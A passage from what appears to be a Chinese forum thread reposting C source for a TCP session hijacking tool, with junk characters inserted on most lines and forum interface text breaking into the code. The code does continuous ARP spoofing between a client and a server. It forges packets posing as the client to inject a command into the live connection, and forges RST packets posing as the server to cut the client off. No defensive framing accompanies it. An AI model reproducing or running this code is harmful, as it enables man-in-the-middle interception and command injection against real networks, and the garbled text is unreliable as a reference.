1 c4 }" [! j0 w7 x( w        (pTmp-&gt;uClientPort == uClientPort) ) * U. u* j  v  M! q  y$ A
      { 3 ]% O% e$ Q  _! Z+ z& s
        if(bDelete) ! F, W0 J9 i" a
        {
9 K$ d8 [; H8 Z: t2 `- v          pTmp-&gt;bActive = FALSE; ! C5 }" E: o8 ]# C5 N5 ?. o
          return 0; 1 @: l! Z* P8 L, o2 Q
        }
$ `" o% |; y: `# e        else return pTmp-&gt;ident;
4 v: {8 L# E, T# M6 V( N' ?      }
2 F& r7 e1 \, r* R' g# K/ j: v    }
7 t; {* C# S8 A& ?# }" L! P+ Q    pTmp = pTmp-&gt;Next;
' r  P2 C8 e+ Y( k4 `% o( Z. S  }
; |5 d+ ~- T! ^, k3 ]9 U( [7 B  //not found, create new node ! a% O! N9 z9 i! Y
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) 0 h/ Z$ ?6 ?. Z* i1 W
  { : o- f4 [/ V' h
    //search unactive note 4 w7 U5 M+ M2 w' w9 O
    pTmp = g_pConnHead; 4 g, T; H7 {% Q/ I1 R& X5 l
    while(pTmp)
# ?0 k4 a& Y  U' M$ C# n    {
# B8 r# w% B* l8 z2 _' @! e: p      if(!pTmp-&gt;bActive) break; ; h& u; }- W- ]/ x4 c1 j8 \" P$ P7 J
      pTmp = pTmp-&gt;Next;
  w3 K. N0 I, v% u9 Y    }
& p7 o: m% l5 H' d* V/ s    //found a unactive node + {9 B7 s# y  `. S! u4 k  q
    if(pTmp) . J5 ]2 Z) I) p! t: V5 c! ~
    {
+ j) {, R# l7 D7 E; x5 }      pTmp-&gt;dwServerIP = dwServerIP;
( I0 e0 D8 B+ M7 i8 D) V      pTmp-&gt;uServerPort = uServerPort; 0 N* U, k, ~) _( I9 a6 p3 r
      pTmp-&gt;dwClientIP = dwClientIP; ' w8 T3 e7 l) P- ]/ N/ j* ~4 m
      pTmp-&gt;uClientPort = uClientPort;
  {6 n7 D+ T  |' |      pTmp-&gt;bActive = TRUE;
% _7 Y9 ~8 B9 W& v6 _      return pTmp-&gt;ident; . `3 C+ J7 M3 q5 Q2 u+ t( k4 d% K
    } ! L2 E+ o4 _' t, O2 C
    //not found,create new node : g2 v6 z3 t* v* |
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 9 M' `6 Y# ~! F) k. F
    if(!pNew)
5 o$ @) {2 t/ q" V6 s& ^    { . z8 b! w8 N  o, [3 f7 I6 L
      printf("malloc for link node error:%d\n", GetLastError());
7 l. s$ m8 j6 Z& d6 J: x      return 0; % W& a4 z7 R" @. k" f
    }
8 c3 X. I2 l- l6 l    //fill the struct , ?1 P0 f2 r" Q7 m( r
    pNew-&gt;bActive = TRUE;
1 @) t) }1 c! k9 G8 q# G, U) F    pNew-&gt;dwServerIP = dwServerIP;
0 N4 U) p, d# O: |    pNew-&gt;uServerPort = uServerPort; ! M, N5 w  P! ?& U% ^& w' T
    pNew-&gt;dwClientIP = dwClientIP; 5 P1 z; o( U4 |  m5 X) _
    pNew-&gt;uClientPort = uClientPort; ( M& p8 a: _( w4 Z( _! X1 O, f
    pNew-&gt;ident = ++g_ident; ) G$ t" ?) s* k) {& r* y
    pNew-&gt;Next = NULL;
% C# {& L2 J7 q6 H' m! S3 G1 g    //add new node to link 0 U- z7 B% e8 Z# t' ?
    if(!g_pConnHead) $ M2 K" g/ v8 ]# _& V; ]2 J; V1 @
      g_pConnHead = g_pConnLast = pNew;
/ m' K7 a! @9 K! S! G    else
0 t2 f, T. w" P9 x' N    {
8 `. B8 u" K/ n- }( r      g_pConnLast-&gt;Next = pNew;
$ J2 p$ ^4 w, W& |1 x: a  C      g_pConnLast = pNew; # t, I4 ]/ [+ n
    } , r" }7 w) ]: A. y. J; D9 ?1 j
    return pNew-&gt;ident;
( j! u! j7 c- e  } ; y' ~- }3 K- J
  return 0;
2 g" p5 s# ], {) l$ m}
/ q  h, l. O8 ^- V9 i- r# E( g
// . U1 M  F. o# V6 l
//功能:判断一个数据包是不是只有ACK标志
8 c9 w/ s3 U4 N" a3 J" q, ^//
3 D& r# `! n' ?2 NBOOL IsACKPacket(unsigned char flag) 3 g! J7 G0 w3 l" j7 n* M3 @
{
8 ?  S) \% M, |  ]' |& @6 w  int  i, j=1;
9 ?2 V9 S5 N& s1 y2 ?0 f  for(i=0 ; i&lt;4; i++) $ ~: Z, n& z3 j' n9 ?4 B( S
  {
. c/ j+ J! w6 t5 ?) p/ ?+ ?    if(flag &amp; j) return FALSE;
2 b. }2 Y" R& O    j &lt;&lt;= 1; 1 M5 j( N* O. F* U
  }
, U  _0 B9 D, |7 a# B; s6 m; }( f  if(!(flag &amp; 0x10)) return FALSE;//is ack? ) E. Z7 j; R$ ]' `
  if(flag &amp; 0x20) return FALSE; : V- @, r1 Z# |1 \2 x) a% j% l, }4 U
  return TRUE;
6 E$ Y3 \$ X' B- |: l* b5 I} 7 p+ Z& `2 t- M( c
( D' c+ L4 A9 p9 J1 \. g  C
// * h' ^0 B8 x% D/ B* F+ B
//功能:伪装成Client给Server发送数据包 ; m1 L) Q- v. I& Q- O( w
//
& t* Q! ?6 y$ LBOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
8 R: X' V1 H9 i- Y{ / S# F* N2 g- N- D! O: {9 }

1 G8 [  w! m- R' y  O  char    szBuff[1520];
' _. P2 q. _; k, a- u+ O( e0 ?# v  PSDHDR    psdhdr; 7 j6 o1 i# `8 ?; y  I7 h: P
  PTCPPACKET  pHiJackPacket = NULL; / }, Y& _3 b- b2 q" E
  BOOL    bRet = FALSE; 0 X9 {" S" _* B3 F% ]

# A  J4 I/ t- T  N  __try $ `; K$ n) x* m4 r% k+ g/ p
  { 7 M! r1 b: y) o  z$ u" V
    //
3 X# U5 S5 j% W. Q  `    if(!g_pCurrCtrlConn) __leave; # b: u2 o  I3 X6 k
    //allocate memory for hijack packet
2 p9 `6 I1 H1 l1 H# A6 r    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 u2 m2 a9 W  U! I2 o7 `4 c1 h9 W    if(!pHiJackPacket)
9 Z% m9 i, y# \" {3 K( T8 t9 E    {
2 H- M) ?# v2 b4 b      printf("malloc error:%d\n", GetLastError());
$ Z) P' \: Q3 h/ x      __leave; & y+ e& Z' _; T* ~  _5 A
    } ; p* K( n* M+ f" s
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
% l$ e6 {- X& g: t    //-------------- modify the packet ---------------// / @' [/ i( H& I/ `% ~' n
    //modify ethernet head 2 O5 q2 I4 f$ d6 l
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); 8 L+ C6 r! L) h& ^6 o
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
' L% O/ p! M* ]8 x    //modify ip head
" ]4 \& m1 W3 K. q    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
! V& _0 Z3 }1 w+ V6 d+ J/ W8 m    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
; U/ a, M" e5 x) T* c    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
8 Z: t1 y' B3 y    pHiJackPacket-&gt;iphdr.checksum = 0;
' u9 y$ o7 S8 g. `4 g    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
  H" d- N, c2 X' X: f    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
0 [# w/ o- `# |9 ]# s. }. J9 J* ?6 B    //modify tcp head 7 q8 S- j. I( c; S6 R
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port & S# C2 N  G8 V
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
& s- e! c1 ^9 r9 _+ g# b    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
$ O6 F9 b7 O& ]- J1 i    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
" v3 K6 V4 y( g9 d5 B/ l2 z    pHiJackPacket-&gt;tcphdr.th_sum = 0;
" o6 D- k" R% K8 F  p; a    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
* A7 ~2 H8 u5 A  {& T# `9 g    //fill tcp psd head
' a! ~9 P2 y& a8 M( s# }7 E) ?; @    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
: M( a/ z! r7 v* z    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
7 v1 d. F1 Z4 o9 m! k4 ~    psdhdr.mbz = 0; 1 I4 k8 P0 }# ]0 w
    psdhdr.ptcl = IPPROTO_TCP;
1 w, r7 }0 g" ?% O% {; h    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
# ?$ `# z4 O( O: @    //calculate tcp checksum     ) c1 q0 r% n( o3 w
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   ( P. \6 U2 a/ H, Y3 P/ F7 M9 c
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
) a5 ]! A' P7 P8 v2 K0 K& _    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
5 b6 d& q+ w' J3 M5 p    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
& A% x+ x7 e* Z2 u9 _    //calculate IP checksum
, d1 n' J6 _3 j7 C6 M1 z- B* I+ q1 X    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); ! ^4 g) |' N$ E) C1 B
    //fill send buffer           ! }& g1 j+ T  ]; f0 o% E
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
6 v. p. z+ ^" a0 @, }+ h    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
, t2 Q8 r7 K8 q; }3 ~    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 2 _. z( T! f+ u
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
& R/ M  B5 L) K0 V- A+ T' U4 \    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
( z% Z# A2 J/ B6 d; p' e    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 3 s! x. F3 B+ s  a3 ~4 _
    { * [% C0 t1 w9 M* Q7 j8 v4 h% L
      printf("Error sending the hijack packets!\n"); 2 X, L4 J0 ]4 o+ E6 A* V/ v
      __leave; 8 \, d( e3 z0 ~6 U
    } . M3 T. o1 @8 G( Y( i
    else printf("Send hijack packet ok!\n"); : I/ O! \+ F2 n& ^8 W! p
    bRet = TRUE;
  e0 B7 }9 O% G/ {% L, q  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally & c7 |% N; ~0 G3 m# [: p
  {
/ P* @* t/ ]. p0 Z: F- e5 x6 p    if(pHiJackPacket) free(pHiJackPacket);
# J" W; Q$ f: j  }
- p$ F  X/ Q% T" s$ S3 Z9 X  return bRet; + v" x7 u8 [7 Q0 ^. j* B
} 5 y+ ]1 V' z# y; K9 n! b
2 S0 u; y4 O3 [  G3 p7 X
  R4 M. e1 W5 m. r$ w( d
// # h) w, S: a1 L8 o2 u8 o
//功能:伪装成Server给Client发送rst包
) F0 E5 s$ z! C// . R; \& L3 s! P# r- G9 X/ q
BOOL SendRstPacket(unsigned int seq, unsigned int ack) % B( @0 y) }% A: s7 j% m7 w
{ + N3 ]% s  C2 Q  S8 P
  char    szBuff[60]; ! ^1 S3 c3 D' t4 Q; x; O
  PSDHDR    psdhdr;
+ t6 W4 W+ n5 \9 H. f  PTCPPACKET  pTcpPacket = NULL; 5 c* J' f: \$ W3 u$ M, O
  BOOL    bRet = FALSE; 7 ?% k& ?/ Z! Y' \7 E

7 ^) j7 c& `7 g3 @  __try * b+ q% |& a' \
  { 2 G/ H! t  j5 A2 V  p9 ]
    //检查当前指向想控制的连接的信息的指针是否为空 & s% ]* t3 i9 _4 C3 z3 Q
    if(!g_pCurrCtrlConn) __leave; . u2 G8 N$ |4 X- x8 i! d
    //allocate memory for rst packet % b9 R8 Y4 f6 L: f9 a' Z" ]/ }% [
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); # _& }9 E4 A% w8 f0 m- G
    if(!pTcpPacket)
+ q9 q6 y6 y/ @, v    {
0 Z; a0 k. e( Z      printf("malloc error:%d\n", GetLastError());
0 G. G  t: x. e% L: {- ^      __leave; 1 K6 n; {  O4 l0 {1 w! x( W
    } - P; n; P2 ~& w
    //fill ethernet head ( ^% h/ M0 F/ i1 p4 A
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); * a4 d$ @7 k3 m9 r; R
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 8 \  i% k+ P+ Z  a/ A
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
- [6 B. m' ]  d2 f    //fil ip head
; C- k( m. c& e7 _* y2 U    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
6 l' s+ _+ X" J" L4 T/ ^    pTcpPacket-&gt;iphdr.tos = 0; 1 [& }$ A; h" l* ]
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); 6 `6 i/ W% Q3 i* R- H' F$ g
    pTcpPacket-&gt;iphdr.ident = 1; 0 ^& b+ S; g; G) W9 Z9 W2 z. }7 T
    pTcpPacket-&gt;iphdr.frag_and_flags = 0; # o6 e( l8 B" R, f; S6 W
    pTcpPacket-&gt;iphdr.ttl = 128; 8 E. W6 O' e( b3 X
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
7 M3 P+ b% ~2 z1 p& V    pTcpPacket-&gt;iphdr.checksum = 0;   _6 l/ @# |, M# c, Z
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 / A- _- D  a: K' p6 W
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
1 g+ m) u4 X$ d8 ?6 B# R    //fill tcp head $ E9 k4 a% `; F# \! `
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
# \' e0 E" n" _( R5 W/ q" U- i& Q    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
$ n. k6 Q5 F8 `    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN 3 C0 m% `4 K2 W2 J& ]) f
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
# P) O* B' N5 e2 T    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); 6 m/ r- E! W- y4 z  h
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
& z& H8 g8 |5 j3 Q    pTcpPacket-&gt;tcphdr.th_win = 0;
% {/ o# J3 k3 o3 Z    pTcpPacket-&gt;tcphdr.th_urp = 0;
. R( b# |5 c* w! }0 y1 [    pTcpPacket-&gt;tcphdr.th_sum = 0; 9 l" e7 h+ k7 B4 a
    //fill tcp psd head
* U& _/ }* x+ k    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
# [. V3 b; \" G! N' r    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           ' P8 e8 W* n  l  y2 u: A& i
    psdhdr.mbz = 0; ! D. J! m# n" s' c
    psdhdr.ptcl = IPPROTO_TCP;
) t8 s1 b/ H( ^) j. N' X* u    psdhdr.tcpl = htons(sizeof(TCPHDR)); ! h$ z% j  W% @+ Y# E( v( i
    //calculate tcp checksum     
3 q" ?; N2 L2 q% j4 P    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   $ i+ n+ J( }. K; i9 U
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); / z; V1 i- v4 o5 X8 F- I
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
+ o+ Y" i7 p$ y. I% H    //calculate IP checksum $ W3 D+ w2 {; [5 I' q
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
; _* r6 H+ W% i6 [  S/ v    //fill send buffer
) l# Y' j0 r& P. q( [( C& t0 o; @    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
5 n# @2 G, M, V. x2 M) Y8 s7 b4 [+ F    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 9 w- T- _2 }, \* G2 F
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
8 ]! D% t6 e/ b$ m5 U% _    { % ~5 Q! Q3 S# a
      printf("Error sending the rst packets!\n");
5 Q: f, V4 `7 D- e9 z0 S# ~      __leave; & D5 ]0 a- l5 ]# P0 t5 w
    }
4 [/ H) ~1 n( J; q1 M1 e    else printf("Send RST packet ok!\n");
9 y& U$ I6 z( E3 ?& H! T    bRet = TRUE; 1 W/ w- F7 Z6 C  e: \
  } ' K" f8 m/ m* B! K3 X
  __finally 7 \: c; {, H( m- F" E7 Q
  { 9 d) u4 P) Z3 ]4 m" a
    if(pTcpPacket) free(pTcpPacket);
! @# e8 S8 H8 ?7 u9 ^% I  }
7 B5 k  q7 u& f  V  return bRet; ) s0 H) e5 V/ D# F# d8 H; @
}
: _! ?6 Z, a5 M$ a4 H; ?* g; ]
1 a! J$ U. r! R6 a7 l// ' F* J: F; z3 H: f9 Y+ P4 c/ k: N; ~
//功能:计算校验和 $ t0 @% n0 S' t2 u% c
// & X9 U) O$ ^& x# J; u
USHORT checksum(USHORT *buffer, int size) . y1 m+ Q5 e# c: h0 m! j3 U* L
{
$ p+ J& {1 e% T, i7 A0 i; O unsigned long cksum=0; % }9 y6 ]* p+ e% i; Z4 M
while(size &gt;1) {   ], n% u8 ^3 i/ }8 I+ m& {
  cksum+=*buffer++;
6 o5 e$ [5 v. O  size -=sizeof(USHORT); ; Q  U) u4 h7 V: t, P! O  n
}
( F8 O' i' [. y; C" C9 |- q  u if(size ) { / L9 o+ C  p0 g3 n+ P; Z3 B
  cksum += *(UCHAR*)buffer; : N& z5 A3 W' H: \; I
}
! g; ?$ M% K5 C6 X$ _1 j: f cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); * ^$ j7 Z, r7 N
cksum += (cksum &gt;&gt;16); ; w- M9 D# Q. A$ [. a$ v
return (USHORT)(~cksum);
& r9 S" K) R3 j( c4 I9 l, d% g9 d}
0 X! a6 {0 \/ M# y# h% f! [# _
- |: R; B" H' \6 f; X: A//   E5 s" L5 J5 \6 {1 i  n8 @! ]
//功能:实施ARP欺骗 & c8 N/ L4 ~! u) ~1 ?% W$ y" ~
//1 告诉ServerSide,ClientSide的mac是ownmac
7 D+ {+ ?3 ]( x% w6 s//2 告诉ClientSide,ServerSide的mac是ownmac + B6 R& B2 N3 I4 E- ~
// ! q- H* k2 F* \! O8 N1 N2 w- j
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
! \: R3 [. J3 ]& m7 r! p{ 1 V2 G% j' L# Z" }. e0 q+ c
  int  iType = *(int *)lpType; , s' U* T) c& [
  ARPPACKET  ArpPacket;
! m! X$ @9 ]* K! F; L2 X  LPPACKET  lpArpPacket;
/ O& q6 ?# B3 U) c, H7 j2 x  char    szArpBuff[60];
" e$ y' X) w% w0 ~
! x0 l5 S7 n& ~* Z  switch(iType)
; U8 k2 M; H2 n+ o2 {; m  {
3 C1 [: t" `+ T8 J2 q    case 1:
- g) }) I$ l4 B# P  T* Q9 j      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
- b' G' A/ r" D" H4 J# u# B      ArpPacket.arphdr.DestIP = g_ServerSideIP;
3 s3 j8 X6 H: J- W! Y9 e2 V      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
( X$ z% F9 B( B6 L! N9 _$ s      break;
+ L! s+ w4 y6 B8 Q# v    case 2: ! P, S( ]: ?- o) v# d
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);   A* V! a/ P* a0 U5 b% C5 Y2 y
      ArpPacket.arphdr.DestIP = g_ClientSideIP; - ]9 G& r! Z% |. Q
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; : i# w# _( Z! S9 _+ S: ^
      break; ) U5 X  Y: y, m: s5 s5 ^" Q3 Q8 y& ?
    default:
" m$ C/ {- N; M" _: C/ O      return 0; 2 x: l8 F  J# t( j) s- r
  }
$ I! a% ~! G4 z0 D% t  Q& n  //ethernet head
7 b; F# u. P' D2 X0 w  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
3 Z& C: B& x" Z: K3 s5 H+ {; k  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type ) r0 f+ j# C) o
  //arp head ( x1 h- u& C2 l' i2 Y
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac " V$ D8 E) F4 s, I! A
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac & R7 M# J( s  d
  ArpPacket.arphdr.HrdAddrlen = 6;
5 s4 e5 ]5 @. `+ \! m; \  ArpPacket.arphdr.ProAddrLen = 4;   K! t2 I0 ]1 n! S9 e" V0 X
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
8 y+ T9 [" f0 x7 v  ArpPacket.arphdr.ProType = htons(EPT_IP);
$ V+ i" m2 T& G' u6 V5 z. u5 ~  ArpPacket.arphdr.op = htons(2);//arp reply
5 L$ k. m" a7 y+ ?: P  J. J! x! k5 i+ ]8 Z: t# Z
  lpArpPacket = PacketAllocatePacket(); ) [- i! w! E+ R+ ?
  if(lpArpPacket == NULL)
5 t' @5 I* [! J! Y, r  {
, Q/ x# G6 o9 A* e& W3 c) p    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
5 \0 }' l. }+ j    return 0;
& z3 a2 N7 _1 J! V  } & r# c5 G$ J7 |9 B
  memset(szArpBuff, 0, sizeof(szArpBuff));
. p4 K/ T1 L# M6 M6 T9 u  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); 1 \0 i9 S; \8 B) M8 ?
  PacketInitPacket(lpArpPacket, szArpBuff, 60);   \# ~& t% E% c1 F# ]
  //send arp packet
; S; m; p4 z5 e: q+ r! k" N& v  while(1)
0 ?9 [7 ^7 _/ _  { 2 C  K5 j, m) V: K
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) / @* I. {- w; s/ }
    { 1 Q( d; z2 F" }+ N' ~2 B# u7 f
      printf("Error sending the arp spoof packets!\n");
- O6 z( k) f0 L+ I: I& ]* [      return 0; ) x; }. ?" ~( i- T5 u( ]. R0 b7 V* ~
    } 4 z" N# M1 v+ V; p1 [
    Sleep(1000);
1 x0 [0 ~% i9 n% E9 ?( ^" A7 |( Y7 s  }
, T* d- |, D5 H" V4 |! z  return 0; % _) g2 q# b. I7 Y) Y
} $ n# v. J( e! U  v( K/ k- |  U

$ m! S$ i  }( P/ z% V3 O" |( V//
' |' H5 T0 |( P& ~& N& }//功能:输入IP取得对应的MAC地址
. U% C+ M. K- l4 C7 q//
& f& ^! ?3 \% \5 P! Z: a0 hBOOL GetMACAddr(DWORD DestIP, char *pMAC) ; `3 n) Z2 P% v% d
{
3 l) L# [% [% Y. k& A  DWORD  dwRet;
$ q- k* c6 f  l- I9 A6 C  ULONG  ulLen = 6, pulMac[2]; ( ?& I$ \6 L" P4 ^5 c
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
0 T/ C* Y. L8 p4 c. _8 j  if(dwRet == NO_ERROR)
# \- _2 [7 V$ a; G7 Z( @  {
7 M7 w  X5 p3 ?  _- `    memcpy(pMAC, pulMac, 6);
' Y1 O3 y: h- F' w* `7 v    return TRUE;
9 i* T0 x( I. B  }
  h% q6 I, l5 l3 T  C# I, O  else return FALSE;   D" |$ g0 c- p! \9 z* o0 n$ H
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-17 18:49 , Processed in 0.549717 second(s), 91 queries .

    回顶部